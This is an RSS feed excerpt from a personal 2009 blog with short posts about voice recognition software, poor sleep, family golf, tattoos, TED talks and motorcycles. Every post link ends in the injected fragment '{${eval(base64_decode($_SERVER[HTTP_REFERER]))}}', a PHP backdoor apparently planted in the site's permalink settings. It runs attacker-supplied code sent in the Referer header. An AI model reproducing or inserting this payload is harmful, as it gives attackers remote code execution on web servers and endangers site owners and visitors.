http://www.dogfish.ca/blog the scattered thoughts of a self-confessed latte junkie Tue, 09 Jun 2009 16:38:04 +0000 http://backend.userland.com/rss092 en I'm trying out Dragon NaturallySpeaking today. For those of you don't know what it is, it's a software program to translate yours voice into words. So far I've only been using it for approximately an hour and I'm finding that the voice recognition software is actually quite incredible. There are a few things ... http://www.dogfish.ca/blog/2009/06/09/new-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Could be related to the fact that I am overweight. I have been sleeping with a feather pillow and some mornings I wake up and it is a hard lump under my neck. I may have to try something different. I wake up a lot in the night. I ... http://www.dogfish.ca/blog/2009/05/05/not-sleeping-well/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I have been able to pick up some golf clubs for the boys in the last year. Nan as well. We really enjoy going to the driving range as a family and knocking some balls out there. Yesterday afternoon we went out to the range and had a lot of ... http://www.dogfish.ca/blog/2009/04/26/am-i-creating-monsters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I wanted something different to go with the ink so I asked the artist Dane to make it look like it is cut in. I am pretty stoked about the result. It should look like it is cut in and hurts for all time. Sweet. "Virtue is the Safest Helmet" [caption id="attachment_545" align="alignnone" width="300" caption="tattoo"][/caption] http://www.dogfish.ca/blog/2009/04/24/all-done/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I cannot remember when I first saw the TED conference, but it is pretty cool. Once a year people who are brilliant or have something of importance to say get together and have a series of talks and discussions about where we are at in this big ol' crazy ... http://www.dogfish.ca/blog/2009/04/23/ted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I have been thinking about another tattoo lately. A few years back I had my first one done and I have really enjoyed it. I had always wanted one but decided to wait and wait and wait. I am glad I did. Originally, I had wanted ... http://www.dogfish.ca/blog/2009/04/20/ink/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I was going through some archived emails this morning looking for something. I found the following list of questions. Nan and I had the opportunity to attend an Internet Ministry Conference a couple of years ago now. We really enjoyed it. I am not sure how much we took away ... http://www.dogfish.ca/blog/2009/04/16/branding-a-ministry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As soon as I brought the new bike home, I removed the windshield and put on the loud exhaust that came with it. I have now been able to ride the bike 3-4 times. I have not been really really impressed with them because of the fact that ... http://www.dogfish.ca/blog/2009/03/27/after-much-consideration/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am sick with a cold. Blech.... I do not like being sick. It normally takes me a long time to recover from colds. boooooo!!!! The snow is coming down outside and we are supposed to get up to 6 inches today. Will the insanity ever ... http://www.dogfish.ca/blog/2009/01/28/the-long-long-road/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So most of you know that I purchased a motorcycle last year. I love riding. I had wanted one for well over 20 years but had never gotten to it. I finally did. Two of the issues I had was a set budget (read limited funds) ... http://www.dogfish.ca/blog/2009/01/13/cmon-spring/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/